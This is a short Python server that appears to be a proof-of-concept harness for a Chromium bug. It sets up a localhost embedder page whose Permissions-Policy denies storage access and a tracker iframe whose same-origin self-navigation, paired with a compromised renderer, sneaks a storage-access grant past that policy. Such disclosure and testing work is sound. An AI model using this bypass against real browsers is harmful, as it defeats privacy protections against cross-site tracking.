#!/usr/bin/env python3
"""
Serves a top-level "embedder" origin and a cross-origin "tracker" origin.

  Embedder: http://embedder.localhost:38271/
            Serves Permissions-Policy: storage-access=() and embeds the
            tracker in an iframe.
  Tracker:  http://tracker.localhost:38271/
            Loaded in the iframe; performs a same-origin self-navigation.

Both hostnames resolve to 127.0.0.1 via Chrome's --host-resolver-rules.
"""

import http.server
import socketserver

EMBEDDER_HTML = b"""<!doctype html>
<title>embedder</title>
<h1>Embedder (Permissions-Policy: storage-access=())</h1>
<iframe src="http://tracker.localhost:38271/widget" width=600 height=200></iframe>
"""

# Step 1: initial tracker document. It never had storage access.
# It triggers a same-origin self-navigation; the patched (compromised)
# renderer sends begin_params.storage_access_api_status = kAccessViaAPI.
TRACKER_WIDGET = b"""<!doctype html>
<title>tracker widget</title>
<body>tracker.localhost / widget &mdash; self-navigating&hellip;
<script>
  // Same-origin self-navigation. initiator_origin == response origin,
  // initiator_frame_token == this frame's own token, no cross-origin
  // redirect. All identity checks in ShouldLoadWithStorageAccess() pass.
  setTimeout(() => { location.href = "/widget2"; }, 200);
</script>
"""

TRACKER_WIDGET2 = b"""<!doctype html>
<title>tracker widget2</title>
<body>tracker.localhost / widget2 &mdash; if you can read this in the
iframe, the browser process did not crash and the laundered
kStorageAccessGrantEligible override is now set on this document.
"""


class Handler(http.server.BaseHTTPRequestHandler):
    def do_GET(self):
        host = self.headers.get("Host", "")
        if host.startswith("embedder."):
            self.send_response(200)
            self.send_header("Content-Type", "text/html")
            # The embedder explicitly denies storage-access via
            # Permissions-Policy. The legitimate requestStorageAccess()
            # path is blocked here; the navigation-inheritance path is not.
            self.send_header("Permissions-Policy", "storage-access=()")
            self.end_headers()
            self.wfile.write(EMBEDDER_HTML)
            return
        if host.startswith("tracker."):
            body = TRACKER_WIDGET2 if self.path == "/widget2" else TRACKER_WIDGET
            self.send_response(200)
            self.send_header("Content-Type", "text/html")
            self.end_headers()
            self.wfile.write(body)
            return
        self.send_response(404)
        self.end_headers()

    def log_message(self, fmt, *args):
        import sys
        sys.stderr.write("[server] %s %s\n" % (self.headers.get("Host", ""), self.path))
        sys.stderr.flush()


if __name__ == "__main__":
    socketserver.ThreadingTCPServer.allow_reuse_address = True
    with socketserver.ThreadingTCPServer(("127.0.0.1", 38271), Handler) as httpd:
        print("serving on http://127.0.0.1:38271")
        httpd.serve_forever()
